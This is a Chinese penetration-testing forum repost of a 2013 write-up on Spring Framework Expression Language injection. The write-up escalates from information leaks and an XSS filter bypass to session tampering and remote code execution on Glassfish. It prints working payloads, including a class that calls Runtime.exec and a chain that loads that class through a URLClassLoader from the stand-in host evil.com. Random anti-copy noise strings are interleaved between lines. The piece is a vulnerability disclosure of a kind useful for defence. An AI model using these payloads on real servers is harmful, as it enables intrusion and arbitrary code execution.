中国网络渗透测试联盟
标题:
spring-远程代码注入
[打印本页]
作者:
admin
时间:
2013-2-16 21:47
标题:
spring-远程代码注入
Remote Code with
$ m2 G' d) d) R, B% E& S
Expression Language Injection
* u" P, g5 {6 u' |, B" j, L
Spring Framework脆弱性—DanAmodio
2 w7 }# f& l! R2 ?7 l3 {
全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中
$ ^/ j. L% y- U
可能会存在风险。
1 V/ n+ F" R6 m5 A' F2 i
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的
/ g" R4 _5 f3 ^
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可
$ D: u; t0 y S& ? w
以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
( o3 X% a. P2 K/ j& O
以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
3 G0 ~% \5 w. e0 j6 c; {
版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。
) K j1 b6 l0 ?
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
) _& x/ s- Q o, c5 h7 I
我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版
: p' ?0 ]. w# {2 k& X9 j6 d0 I
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
- w( }1 O) F& @0 h
这些版本不支持禁用double EL resolution.
; x2 e; m- `, v8 ^' B+ m7 W9 ~3 [# }
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
2 t3 g8 K7 N& X) v
EL2.2容器上可能进行远程代码执行。
3 I: w1 l1 u9 C1 b
这是一个原始信息泄露的攻击例子:
, |1 X9 ], q$ G9 c8 R; @0 y* u
请求:
% N7 _/ D' V/ x G0 c
ttp://vulnerable.com/foo?message=${applicationScope}
1 ~9 q$ T8 N' C
到达以下内容页面:
7 \& J i6 H0 ?/ a6 i
结果将输出一些包含内部服务器信息calsspath 和本地工作目录
* X5 o( h" \! z1 E' q
你也可以做一些其他事情,如这样:
# |& O f# m! n6 T1 V
${9999+1}
+ |+ L3 v' x; f1 W. `0 m; B
还可以访问session 对象和beans
( j' f# H, }% z2 V- J7 q5 V$ B. p
${employee.lastName}
/ i8 x5 q! a/ ]0 q+ x: M2 v
在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是
% x$ {" l& ~$ c2 S
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东
! o5 c0 n5 f) A" \. q' [
西,比如XSS.
: l3 i% V8 J& _+ x" M
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
5 Y9 o9 t' D- Z7 `
突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
}, d. [6 q' [% Q
呢?”
% S7 U0 k: Z( n( o8 h' g
因此,我尝试巳缦拢�
* i0 H8 d9 T' R7 A4 R# h' g
http://vulnerable.com/app?code=
${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
. i/ q4 O5 v4 J. q7 e& ]4 `) h2 z: v
P
# q* w, G& Z4 B6 h
我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返
' t2 o% ^% ?' k% g* r0 C# Q0 P* I9 q
回的文本被插入进了spring:message 标签。
2 K& Y# a! f; s& [9 ^
这里是一个最终绕过过滤的实例:
9 Z l7 e# |- G( K3 L0 {
http://vulnerable.com/app?code=
${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)
/scriptQ
) A3 k) H7 `6 n7 }$ f' p
它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
' d/ f0 p b4 U! h$ N4 ?6 E
什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
) l, u: s1 u! I
经过一番研究,我学习到EL2.2 增加了方法调用。
+ W: f. R3 f: [% ]: m
我写了一个快速测试应用程序代码并且检测一些功能
" [, p# f( q7 z. }4 r
${pageContext.request.getSession().setAttribute(“account”,”123456″)}
; a$ A/ p1 B! U; P* t/ P* @
${pageContext.request.getSession().setAttribute(“admin”,true)}
. q4 n& ]2 ` c+ {) R9 P
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的
1 ^4 L, r1 C+ _7 w4 {3 J8 i
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
0 M9 W, l' w8 t$ m; G: R
${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
0 M# y3 z/ g& l7 _. q8 M; @
“, 1234)}
- G( F6 ~" o, p, J; N& Z
${“”.getClass().forName(“java.lang.Runtime”)}
$ @$ H& i. e/ b3 n! k* G* g
哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不
! r# B6 \$ L: n* ?7 ?) W
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函
# P! G0 u8 s, Y. ?0 j l
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
1 u' Y1 H' ~; z
一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
* [5 ]: }7 o7 S4 a- t% e' I* x3 M
方法签名invoke(Object obj, Object„ args)
/ A5 d: b" }. f0 j) D7 J
Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问
. w" l" b3 U$ \0 v# _# K& R
题,以让它可以工作起来。
( x U. U/ j6 b/ T
漏洞利用:
4 C$ q1 N% D, U% J. H+ ~# {
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我
6 @5 a6 ~3 l% [
希望你们中的一些JAVA奇才告诉我我是如此的可笑。
% Z/ m0 F2 C3 R/ e1 U" V/ G
这里有一些我试过的失败的用例,为了试图让它工作的用例:
& k. [+ h; w2 f, Q/ ^# a
写文件到文件系统
: o+ }0 S$ b8 x2 k: L# r
试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
4 {2 A$ y# V6 p0 f8 D8 L
我认为这些可以很好的工作,但是我不能找到合适的类来载入。
* f; i, h! z5 U
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
( d3 p2 r5 a, k5 N
javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
: z$ d* m5 G# B, }( `
org.springframework.expression.spel.standard.SpelExpressionParser not found
, v2 E0 J& a/ x
by
- V/ @. h2 c4 a, J4 M
org.glassfish.web.javax.servlet.jsp [194].
2 ^) C5 a* R- B
利用反射来修改java.lang.Runtime.currentRuntime的属性为Public
( j+ N9 c0 L$ Z1 d) s" l
利用反射来创建一个新的Runtime(and watch the world burn)
7 _ F" Z [" h8 m1 S: ]+ b d
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName
- z# ^, k" J" W# _ R: ]/ X! F. ?
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}
" ~8 ?0 b# E) t! }/ A" j
${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}
, z' f/ ]. q+ x7 N1 L
使用java.lang.ProcessBuilder
* c" a k4 I2 e% D/ W+ O& M
用表达式语言来评估表达式语言
1 f" Y: c0 {5 T& {8 t1 D# c
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.
- @* Z M0 F; t* R, h1 ~
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request
9 `5 h$ o' Q0 s) J6 l
“,”".getClass(),null)}
$ b3 Y) i: b, m5 D& h9 Z* K& X
创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)
! O, K4 V# q$ t$ ^$ W R# F
我在使用一个空数组通过Method.invoke()时失败了很多次
8 o9 P( |4 u$ ~% L
“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo
7 O$ V+ l6 @; N8 u% ?0 \3 [8 i% C
.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
4 Y7 W$ M8 a( A# \( C
rrayList”).newInstance().toArray())
& d+ N( c. l9 x4 D4 A. U6 Z% o- K
java.lang.IllegalArgumentException: wrong number of arguments
9 B/ E) b! @" U& `% t
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
9 G" n: Z2 {* }+ g- |( ~! G
以创建一个恶意class文件并且指向类装载器.
" c" f2 y1 k' c. T
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:
5 c G! _* t3 l6 [6 h
public class Malicious {
- V0 R4 z8 v8 ^" q1 R& R
public Malicious() {
/ D1 I' [/ T' X# @( G
try {
5 Z- {0 ]8 c, [8 @' t
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac
% P3 Q+ P0 u% O1 S; E
java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win
) W2 y( B8 f1 H V! Z- w2 Z$ ^9 t5 O6 j
} catch (Exception e) {
2 @" K4 M( o. X6 R( f; m9 k
}
w k6 J. s+ i l1 S$ H0 o* U% F
}
' S3 c% N7 H! o# s
我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回
f) d; T* l2 U/ ]% {
话中,因此它可以被使用.
3 D1 R: r3 }$ y4 s% b H
${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName
2 }+ i6 |0 @3 y- k7 ?, Q
(“java.util.ArrayList”).newInstance())}
- W! B9 C3 [+ z& ~& h$ S6 ^
URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建
+ z( R# Q: w1 G5 P* {5 j
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和
: z8 `8 T4 e. `% q: ?
getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
. `' n3 R( |/ W8 ~4 X* {' {$ R
我们可以调用的create(string)方法,然后转换对一个URL对象。
5 y- f& z; K6 k2 O. B
${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“
http://evil.com/path/to/wh
8 z( e* g& |4 Z# Y% `. r( @1 W
ere/malicious/classfile/is/located/”).toURL())}
* {# Z5 T u( s* ?" M' q
然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
; s! h0 R& B2 ~! n) B
恶意类文件被装载并创建,触发远程代码.
! T* l+ _. }% ?$ Q" i' l. y
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
# H) A9 u( M3 s5 v6 P
xt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
; i+ P' G( Z; W* F0 U6 E9 T
getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
5 O3 _+ y \+ e/ b
()}
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2